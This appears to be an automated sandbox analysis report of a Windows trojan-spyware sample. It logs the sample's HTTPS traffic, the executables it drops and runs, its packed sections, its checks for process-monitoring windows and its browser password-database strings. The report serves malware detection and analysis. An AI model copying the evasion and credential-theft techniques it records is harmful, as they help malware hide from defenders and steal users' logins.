Source: niwvNnBk2p.exe, 00000000.00000003.1385437734.0000000005DC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: niwvNnBk2p.exe, 00000000.00000003.1385437734.0000000005DC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: niwvNnBk2p.exe, 00000000.00000003.1385437734.0000000005DC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49741 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: niwvNnBk2p.exe	Static PE information: section name:
Source: niwvNnBk2p.exe	Static PE information: section name: .idata
Source: niwvNnBk2p.exe	Static PE information: section name:
Source: 72QWSV0N4LEVXR18OCAY5450.exe.0.dr	Static PE information: section name:
Source: 72QWSV0N4LEVXR18OCAY5450.exe.0.dr	Static PE information: section name: .idata
Source: 72QWSV0N4LEVXR18OCAY5450.exe.0.dr	Static PE information: section name:
Source: Q0DSEB9ODFQPXTS29CJ02.exe.0.dr	Static PE information: section name:
Source: Q0DSEB9ODFQPXTS29CJ02.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_014010B3	0_3_014010B3
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_014010B3	0_3_014010B3
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_013FC7B5	0_3_013FC7B5
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_01382F18	0_3_01382F18
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_01382F18	0_3_01382F18
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_01382F18	0_3_01382F18
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_01382F18	0_3_01382F18
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_014010B3	0_3_014010B3
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_014010B3	0_3_014010B3

Source: niwvNnBk2p.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: niwvNnBk2p.exe	Static PE information: Section: ZLIB complexity 0.9973980629280822
Source: niwvNnBk2p.exe	Static PE information: Section: jawbxhtf ZLIB complexity 0.9947524616027981
Source: 72QWSV0N4LEVXR18OCAY5450.exe.0.dr	Static PE information: Section: aviwlvzz ZLIB complexity 0.9948156627643504

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@2/3

Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\72QWSV0N4LEVXR18OCAY5450.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\niwvNnBk2p.exe

File created: C:\Users\user~1\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe

Jump to behavior

Source: C:\Users\user\Desktop\niwvNnBk2p.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: niwvNnBk2p.exe, 00000000.00000003.1338256397.0000000005CBB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337899222.0000000005CD8000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1361073618.0000000005CD8000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1361216898.0000000005CCB000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: niwvNnBk2p.exe	Virustotal: Detection: 54%
Source: niwvNnBk2p.exe	ReversingLabs: Detection: 63%

Source: 72QWSV0N4LEVXR18OCAY5450.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 72QWSV0N4LEVXR18OCAY5450.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\niwvNnBk2p.exe

File read: C:\Users\user\Desktop\niwvNnBk2p.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\niwvNnBk2p.exe "C:\Users\user\Desktop\niwvNnBk2p.exe"
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Process created: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe "C:\Users\user~1\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe"
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Process created: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe "C:\Users\user~1\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe"
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Process created: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe "C:\Users\user~1\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe"	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Process created: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe "C:\Users\user~1\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe"	Jump to behavior

Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: niwvNnBk2p.exe

Static file information: File size 1848832 > 1048576

Source: niwvNnBk2p.exe

Static PE information: Raw size of jawbxhtf is bigger than: 0x100000 < 0x19b000

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Unpacked PE file: 9.2.72QWSV0N4LEVXR18OCAY5450.exe.4b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;aviwlvzz:EW;ondpugpz:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Unpacked PE file: 10.2.Q0DSEB9ODFQPXTS29CJ02.exe.480000.0.unpack :EW;.rsrc:W;.idata :W;wfoskafw:EW;zpagxsbp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;wfoskafw:EW;zpagxsbp:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: Q0DSEB9ODFQPXTS29CJ02.exe.0.dr	Static PE information: real checksum: 0x2c7ddd should be: 0x2bfe0c
Source: 72QWSV0N4LEVXR18OCAY5450.exe.0.dr	Static PE information: real checksum: 0x1a5c39 should be: 0x1b0692
Source: niwvNnBk2p.exe	Static PE information: real checksum: 0x1d1e5b should be: 0x1d1c94

Source: niwvNnBk2p.exe	Static PE information: section name:
Source: niwvNnBk2p.exe	Static PE information: section name: .idata
Source: niwvNnBk2p.exe	Static PE information: section name:
Source: niwvNnBk2p.exe	Static PE information: section name: jawbxhtf
Source: niwvNnBk2p.exe	Static PE information: section name: zvkfyyaj
Source: niwvNnBk2p.exe	Static PE information: section name: .taggant
Source: 72QWSV0N4LEVXR18OCAY5450.exe.0.dr	Static PE information: section name:
Source: 72QWSV0N4LEVXR18OCAY5450.exe.0.dr	Static PE information: section name: .idata
Source: 72QWSV0N4LEVXR18OCAY5450.exe.0.dr	Static PE information: section name:
Source: 72QWSV0N4LEVXR18OCAY5450.exe.0.dr	Static PE information: section name: aviwlvzz
Source: 72QWSV0N4LEVXR18OCAY5450.exe.0.dr	Static PE information: section name: ondpugpz
Source: 72QWSV0N4LEVXR18OCAY5450.exe.0.dr	Static PE information: section name: .taggant
Source: Q0DSEB9ODFQPXTS29CJ02.exe.0.dr	Static PE information: section name:
Source: Q0DSEB9ODFQPXTS29CJ02.exe.0.dr	Static PE information: section name: .idata
Source: Q0DSEB9ODFQPXTS29CJ02.exe.0.dr	Static PE information: section name: wfoskafw
Source: Q0DSEB9ODFQPXTS29CJ02.exe.0.dr	Static PE information: section name: zpagxsbp
Source: Q0DSEB9ODFQPXTS29CJ02.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_013FD120 pushad ; ret	0_3_013FD121
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_013FFB60 push ebx; iretd	0_3_013FFB61
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_013FFB48 push esi; iretd	0_3_013FFB49
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_0140CB80 push eax; retf	0_3_0140CB81
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_0140CB80 push eax; retf	0_3_0140CB81
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_0140521F push eax; retf	0_3_01405235
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_01403AE2 push eax; ret	0_3_01403B19
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_01403AE2 push eax; ret	0_3_01403B19
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_0140CAF0 push eax; retf	0_3_0140CAF1
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_0140CAF0 push eax; retf	0_3_0140CAF1
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_013FDA83 push ebx; retf	0_3_013FDB61
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_013F7D84 push esi; retf	0_3_013F7D87
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_013F9942 push cs; ret	0_3_013F9989
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_013F9942 push cs; ret	0_3_013F9989
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_013B05A5 pushad ; retf	0_3_013B05AC
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_013B05A5 pushad ; retf	0_3_013B05AC
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_013B0883 push ecx; retn 0060h	0_3_013B08BA
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_013B0883 push ecx; retn 0060h	0_3_013B08BA
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_013B1040 push ds; ret	0_3_013B1045
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_013B1040 push ds; ret	0_3_013B1045
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_05CB1DEF push ds; retf	0_3_05CB1E12
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_05CB1DEF push ds; retf	0_3_05CB1E12
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_05CB65F9 push ebp; iretd	0_3_05CB65FA
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_05CB65F9 push ebp; iretd	0_3_05CB65FA
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_05CB55AC push esi; retf	0_3_05CB55BE
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_05CB55AC push esi; retf	0_3_05CB55BE
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_05CB2DB3 push cs; retf	0_3_05CB2DBA
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_05CB2DB3 push cs; retf	0_3_05CB2DBA
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_05CB3101 push esi; retf	0_3_05CB3102
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_05CB3101 push esi; retf	0_3_05CB3102
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Code function: 0_3_05CB1318 push E8747372h; retf	0_3_05CB131D

Source: niwvNnBk2p.exe	Static PE information: section name: entropy: 7.981419827927857
Source: niwvNnBk2p.exe	Static PE information: section name: jawbxhtf entropy: 7.95397178163041
Source: 72QWSV0N4LEVXR18OCAY5450.exe.0.dr	Static PE information: section name: entropy: 7.793970002951595
Source: 72QWSV0N4LEVXR18OCAY5450.exe.0.dr	Static PE information: section name: aviwlvzz entropy: 7.9546546835321985

Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File created: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe			Jump to dropped file
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File created: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
